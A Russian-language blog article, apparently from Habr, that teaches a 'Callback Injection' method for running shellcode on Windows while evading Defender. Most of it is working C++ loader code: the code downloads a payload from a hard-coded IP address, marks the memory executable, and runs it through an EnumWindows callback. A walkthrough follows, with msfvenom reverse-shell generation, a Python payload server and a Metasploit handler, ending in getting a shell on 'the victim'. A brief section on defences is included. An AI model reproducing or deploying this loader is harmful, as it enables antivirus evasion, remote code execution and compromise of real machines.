📌 Оглавление
-
Введение: проблема классической инъекции
-
Что такое Callback Injection
-
Почему это работает против Defender
-
Полный разбор техники (с кодом)
-
Демонстрация работы
-
Как защититься
-
Заключение
1. Введение
Представьте ситуацию: вы на пентесте, у вас есть шеллкод, но Windows Defender блокирует любой подозрительный вызов. CreateRemoteThread — детектится. QueueUserAPC — детектится. NtCreateThreadEx — детектится.
Что делать?
Ответ: не создавать потоки самому, а попросить Windows сделать это за вас.
Callback Injection — это техника, при которой вы «одалживаете» легитимный поток Windows, заставляя его выполнить ваш код через официальные callback-механизмы.
2. Что такое Callback Injection
Callback — это функция, которую вы передаёте Windows, чтобы система вызвала её при наступлении определённого события.
Windows содержит сотни callback-механизмов:
-
EnumWindows— для перебора окон -
EnumChildWindows— для дочерних окон -
EnumFonts— для перебора шрифтов -
SetTimer— для таймеров -
SetWinEventHook— для событий -
И многие другие…
Идея в том, что вы:
-
Выделяете память с шеллкодом
-
Меняете защиту на исполняемую
-
Передаёте указатель на шеллкод в качестве
lParam -
В callback’е просто выполняете его
Windows сама вызывает ваш код в своём потоке.
3. Почему это работает против Defender
Почему EnumWindows не детектится?
-
EnumWindows— легитимная функция, используемая тысячами приложений -
Callback вызывается внутри
ntdll!ZwEnumerateWindows, что выглядит как обычный системный вызов -
EDR редко проверяют, что именно выполняется в callback’е
4. Полный разбор техники (с кодом)
Шаг 1: Скачиваем шеллкод с сервера
std::vector<BYTE> DownloadFile(const wchar_t* server, int port, const wchar_t* path) { HINTERNET hSession = WinHttpOpen(L"WinHTTP/1.0", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0); HINTERNET hConnect = WinHttpConnect(hSession, server, port, 0); HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", path, NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0); WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0); WinHttpReceiveResponse(hRequest, NULL); std::vector<BYTE> result; BYTE buffer[4096]; DWORD bytesRead; while (WinHttpReadData(hRequest, buffer, sizeof(buffer), &bytesRead) && bytesRead > 0) { result.insert(result.end(), buffer, buffer + bytesRead); } WinHttpCloseHandle(hRequest); WinHttpCloseHandle(hConnect); WinHttpCloseHandle(hSession); return result;}
Шаг 2: Callback-функция
BOOL CALLBACK InjectionCallback(HWND hwnd, LPARAM lParam) { // lParam содержит указатель на наш шеллкод void (*shellcode)() = (void(*)())lParam; // Выполняем! shellcode(); // Останавливаем перебор после первого окна return FALSE;}
Шаг 3: Основная логика
int main() { // 1. Скачиваем шеллкод auto shellcode = DownloadFile(L"31.44.0.193", 8080, L"/payload.bin"); // 2. Выделяем память LPVOID pMemory = VirtualAlloc(NULL, shellcode.size(), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // 3. Копируем memcpy(pMemory, shellcode.data(), shellcode.size()); // 4. Меняем защиту на исполняемую DWORD oldProtect; VirtualProtect(pMemory, shellcode.size(), PAGE_EXECUTE_READWRITE, &oldProtect); // 5. Запускаем через callback EnumWindows((WNDENUMPROC)InjectionCallback, (LPARAM)pMemory); // 6. Очистка (сюда не доходим, если шеллкод успешен) VirtualFree(pMemory, 0, MEM_RELEASE); return 0;}
Что происходит под капотом?
1. VirtualAlloc → выделяет память (PAGE_READWRITE)2. memcpy → копирует шеллкод3. VirtualProtect → меняет защиту на PAGE_EXECUTE_READWRITE4. EnumWindows → перебирает все окна, вызывая ваш callback5. Callback → выполняет шеллкод6. Шеллкод → например, reverse shell
Важный момент: Код выполняется в контексте потока, который вызвал EnumWindows. Это поток вашего процесса, поэтому шеллкод будет выполняться с теми же правами, что и ваша программа.
5. Демонстрация работы
-
Подготавливаем нашу тестируемую машину (включаем все что есть в защитнике)
2. Подготавливаем наш shellcode и поднимаем сервер на VPS
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ip LPORT=4444 -f raw -o shellcode.binpython3 -m http.server 8080
3. Меняем переменные в коде
Если для тестирования будете использовать мой код то надо изменить эти значения на ваши
4. Запускаем exploit/multi/handler для получения шелла
5. Запускаем на жертве наш код и получаем шелл!
6. Как защититься
Для защитников:
-
Мониторить вызовы
VirtualProtectс изменением защиты наPAGE_EXECUTE_READWRITE -
Анализировать callback-функции — проверять, не указывает ли
lParamна исполняемую память -
Использовать EDR с поведенческим анализом — CrowdStrike и Carbon Black детектят эту технику на поведенческом уровне
-
Включить контроль приложений (WDAC/AppLocker)
7. Заключение
Callback Injection — это не новая техника, но она до сих пор работает на многих системах.
Почему я делюсь этим?
Потому что понимание методов атак — первый шаг к их предотвращению. Windows Defender отлично защищает от «школьных» методов, но против продвинутых техник он всё ещё уязвим.
Что дальше?
P.S. Полный код с комментариями я выложил на GitHub (https://github.com/NewComrade12211/callbackinjection/blob/main/callbackinjection.cpp).
В следующей статье я расскажу о расширении техники — использовании других callback-функций (EnumChildWindows, EnumFonts, EnumPrinters). А также покажу, как обфусцировать шеллкод, чтобы обойти даже поведенческий анализ.Подписывайтесь на телеграм-канал, чтобы не пропустить https://t.me/c2signals.
ссылка на оригинал статьи https://habr.com/ru/articles/1023818/